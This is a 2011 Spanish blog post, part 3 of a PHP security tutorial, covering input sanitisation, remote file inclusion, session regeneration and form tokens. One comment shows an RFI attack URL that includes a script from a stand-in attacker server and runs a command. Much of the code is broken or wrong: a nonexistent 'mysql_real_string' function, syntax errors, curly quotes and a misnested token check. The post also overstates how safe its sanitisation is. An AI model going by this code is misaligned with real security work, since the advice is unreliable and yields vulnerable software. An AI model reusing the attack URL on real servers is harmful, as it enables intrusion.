viernes, 14 de octubre de 2011

php seguridad programacion (parte 3)

Hola a todos, en los post anteriores vimos como configurar no solo PHP si no también Apache, y para los que usan IIS vimos un index que nos protegía el acceso a una carpeta prohibida, ahora toca el tema mas engorroso y difícil, la programación, aqui es donde la marrana tuerce el rabo y es que muchos programadores dejan al ultimo este tema ya después de haber echo el trabajo (a mi me paso XD) los factores que tienen que tomar en cuenta son básicamente tres:

1.- asume que lo que pienses que el usuario no hará sera lo primero que hará al entrar en tu sitio ya que lo que no esta explicita mente prohibido esta permitido (las maquinas obedecen ciegamente), piensa que siempre estas en guerra y que tus usuarios intentaran  hacer caer tu sitio (paranoico pues si, pero es mejor prevenir que lamentar).

2.-cuida tus entradas, mucho de los ataques (code injection,RFI) son posibles ya que no se sanitizan los datos provenientes de los usuarios.

3.-las sesiones son secuestrables en php, si no se toman medidas preventivas, ademas de un correcto sistema de login.

JAMAS creas que tus usuarios serán unas niñitas inocentes y simpáticas que no rompen ni un plato, jeje
 <--

ok entrando en materia lo primero (si vas a recibir datos de parte del usuario) debes limpiar las variables, ejemplo:

 <form action="xpagina" method="POST"><!--siempre usa post nunca get-->

      <input type="text" name="var1"/>
 </form>



de este form obtendremos la variable var1 la cual debemos limpiar de la siguiente forma:

$variable_limpia=strip_tags($_POST['var1']) //solo elimina html y php

$variable_limpia=mysql_real_string($_POST['var1'] //evitamos sql code injection
$variable_limpia=mysql_real_string(strip_tags($_POST['var1']))


con lo anterior podemos estar tranquilos que no ocurrirá un code injection, ahora vamos con otro detalle y que suele ocurrir y es el RFI (Remote File Include) es decir puede pasar que incluyamos scripts php con la funcion include pero a la espera de una respuesta del usuario por ejemplo:

include_once($page); //$page viene de una entrada por url por ejemplo http://mi.servidor.com/index.php?page=pagina_buena.php
//el atacante podria usar http://mi.servidor.com/index.php?page=servidor.atacante/script_malisioso.txt&&cmd=ls


para evitarlo simplemente debemos usar estructuras de decisión y nunca  ni por url es decir:

if($page==1){
    include_once("pagina_buena.php");
}else{
    ...
}
 //o en su defecto usar esto en la inclusión
if($page=="pagina_buena"){
    include_once($page.".php");
}


con lo anterior tenemos cubierto este aspecto, ahora vamos con el manejo de sesiones, para evitar el secuestro de sesiones por XSS (cross site scripting) ya anteriormente vimos como configurar el interprete de php para que no pueda ser accesible la cookie por javascript (por lo que el atacante no sera un vulgar lammer o script kiddie y tendrá que tener mejor nivel para intentar atacarnos)

pero ademas complicamos el id de sesión con sha1 de 160 bits para evitar que la adivinen por force brute (aunque podemos usar algoritmos mas complejos como haval usando la funcion hash_algos() que nos dira que algoritmos soporta nuestro php y meterla en la directiva que ya vimos  "session.hash_function") entre otras cosas que hicimos y para rematar podemos usar lo siguiente en nuestros scripts:

session_regenerate_id(true); //con esto indicamos al servidor que regenere la cookie y el id de sesion, borrando la anterior con esto se lo ponemos muy dificil a quien intente secuestrar la sesion

con el código anterior y usándolo lo mas a menudo posible durante todo nuestro sitio podemos estar tranquilos, pero hay un pero valga la redundancia jeje y es que en ocasiones pierde la sesion, ustedes sabrán en que paginas no usarlo lo tienen que experimentar. Entre otras recomendaciones están la de siempre almacenar los datos de acceso a BBDD en constantes y no en variables y separar en capas el acceso a datos y por otro el manejos de datos (2 archivos diferentes), también podemos usar finger printing en nuestros formularios, ejemplo:

session_start();
if (!isset($_SESSION[‘sesion_iniciada'])) {
    session_regenerate_id(); // Ejemplo de regeneración de ID
    $_SESSION[‘sesion_iniciada'] = true;
    if (isset($_POST[“token”] && $_POST[‘token'] == $_SESSION['token']) {
       // Procesar el formulario …
    }
}
$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>">
<input type="text" name="message">
</form>


con esto aseguramos que los datos vienen de nuestro formulario legitimo, finalmente el tema del login, que puede irse todo al carajo si no tenemos un login correcto.

pero de esto hablare en la siguiente entrega, por lo mientras hasta luego

No hay comentarios.:

Publicar un comentario